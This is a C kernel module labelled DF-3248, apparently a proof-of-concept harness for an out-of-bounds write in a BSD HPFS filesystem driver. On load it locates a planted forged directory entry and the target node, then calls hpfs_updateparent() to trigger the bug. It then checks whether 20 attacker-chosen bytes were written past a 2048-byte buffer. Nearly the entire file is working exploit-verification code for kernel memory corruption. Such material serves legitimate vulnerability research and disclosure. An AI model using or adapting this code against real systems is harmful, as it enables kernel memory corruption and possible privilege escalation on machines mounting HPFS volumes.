DF-3248 / finalizer.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 | /* * DF-3248 finalizer KLD (no-sysctl edition). See header comment in * run_full.sh for the load order. MOD_LOAD does: * 1. locate the planted forged dirent (the dirblk chunk whose W@+20 * reclen was patched to 2028 by df3248patch; plant = chunk + 2048) * 2. locate the ZFILE hpfsnode via the exported hpfs hash * 3. print h_flag / h_atime / h_mtime โ proving the *unprivileged* * futimes() left H_PARCHANGE pending with attacker marker values * 4. invoke hpfs_updateparent(hp) โ the exact call hpfs_inactive * (hpfs_vnops.c:607) makes at deactivation time * 5. re-read the planted dirent and print PASS/FAIL */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/queue.h> #include <sys/mount.h> #include <sys/buf.h> #include <sys/spinlock2.h> #include "hpfs.h" #include "hpfs_subr.h" #define BQUEUE_LOCKED 1 #define BQUEUE_CLEAN 2 #define BQUEUE_DIRTY 3 #define BQUEUE_DIRTY_HW 4 #define BUFFER_QUEUES 6 TAILQ_HEAD(bqueues, buf); struct bufpcpu { struct spinlock spin; struct bqueues bufqueues[BUFFER_QUEUES]; } __cachealign; extern struct bufpcpu bufpcpu[MAXCPU]; extern struct mntlist mountlist; static uint8_t * find_plant(void) { struct buf *bp; int cpu, q; for (cpu = 0; cpu < ncpus; cpu++) { for (q = BQUEUE_LOCKED; q <= BQUEUE_DIRTY_HW; q++) { spin_lock(&bufpcpu[cpu].spin); TAILQ_FOREACH(bp, &bufpcpu[cpu].bufqueues[q], b_freelist) { if (bp->b_data == NULL || bp->b_bcount != 2048) continue; if (*(uint32_t *)bp->b_data != 0x77E40AAE) continue; if (*(uint16_t *)(bp->b_data + 20) == 2028) { uint8_t *r = bp->b_data + 2048; spin_unlock(&bufpcpu[cpu].spin); return (r); } } spin_unlock(&bufpcpu[cpu].spin); } } return (NULL); } static struct hpfsnode * find_zfile_node(void) { struct mount *mp; TAILQ_FOREACH(mp, &mountlist, mnt_list) { struct hpfsmount *hpmp; struct vnode *vp; if (mp->mnt_vfc == NULL || mp->mnt_vfc->vfc_name == NULL) continue; if (strcmp(mp->mnt_vfc->vfc_name, "hpfs") != 0) continue; hpmp = (struct hpfsmount *)mp->mnt_data; vp = hpfs_hphashvget(hpmp->hpm_dev, 0x58); if (vp) { struct hpfsnode *r = VTOHP(vp); vrele(vp); return (r); } } return (NULL); } static int df3248f_handler(module_t mod, int what, void *arg) { struct hpfsnode *hp; uint8_t *p; int error; switch (what) { case MOD_LOAD: p = find_plant(); hp = find_zfile_node(); kprintf("DF3248F: plant=%p hpfsnode=%p\n", p, hp); if (p == NULL || hp == NULL) { kprintf("DF3248F: prerequisites missing, abort\n"); return (0); } kprintf("DF3248F: h_no=0x%x h_flag=0x%x " "(H_PARCHANGE=%d H_PARVALID=%d)\n", hp->h_no, hp->h_flag, !!(hp->h_flag & H_PARCHANGE), !!(hp->h_flag & H_PARVALID)); kprintf("DF3248F: pending attacker values: " "h_mtime=0x%016jx h_atime=0x%016jx fn_size=0x%08x\n", (uintmax_t)hp->h_mtime, (uintmax_t)hp->h_atime, hp->h_fn.fn_size); if ((hp->h_flag & H_PARCHANGE) == 0) { kprintf("DF3248F: H_PARCHANGE not pending (already " "flushed by natural deactivation?) โ checking " "plant anyway\n"); } kprintf("DF3248F: plant BEFORE: mtime=0x%016jx size=0x%08x " "atime=0x%016jx\n", (uintmax_t)*(uint64_t *)(p + 8), *(uint32_t *)(p + 16), (uintmax_t)*(uint64_t *)(p + 24)); error = hpfs_updateparent(hp); kprintf("DF3248F: hpfs_updateparent() -> %d\n", error); kprintf("DF3248F: plant AFTER: mtime=0x%016jx size=0x%08x " "atime=0x%016jx\n", (uintmax_t)*(uint64_t *)(p + 8), *(uint32_t *)(p + 16), (uintmax_t)*(uint64_t *)(p + 24)); if (*(uint64_t *)(p + 8) == 0x4242424242424242ULL && *(uint32_t *)(p + 16) == 0x00CAFEBABE && *(uint64_t *)(p + 24) == 0x4141414141414141ULL) kprintf("DF3248F: *** OOB WRITE CONFIRMED: 20 " "attacker-chosen bytes written %d bytes past the " "2048-byte dirblk chunk ***\n", 2048); else kprintf("DF3248F: markers NOT present\n"); return (0); } return (0); } static moduledata_t df3248f_mod = { "df3248fin2", df3248f_handler, NULL }; DECLARE_MODULE(df3248fin2, df3248f_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df3248fin2, 1); |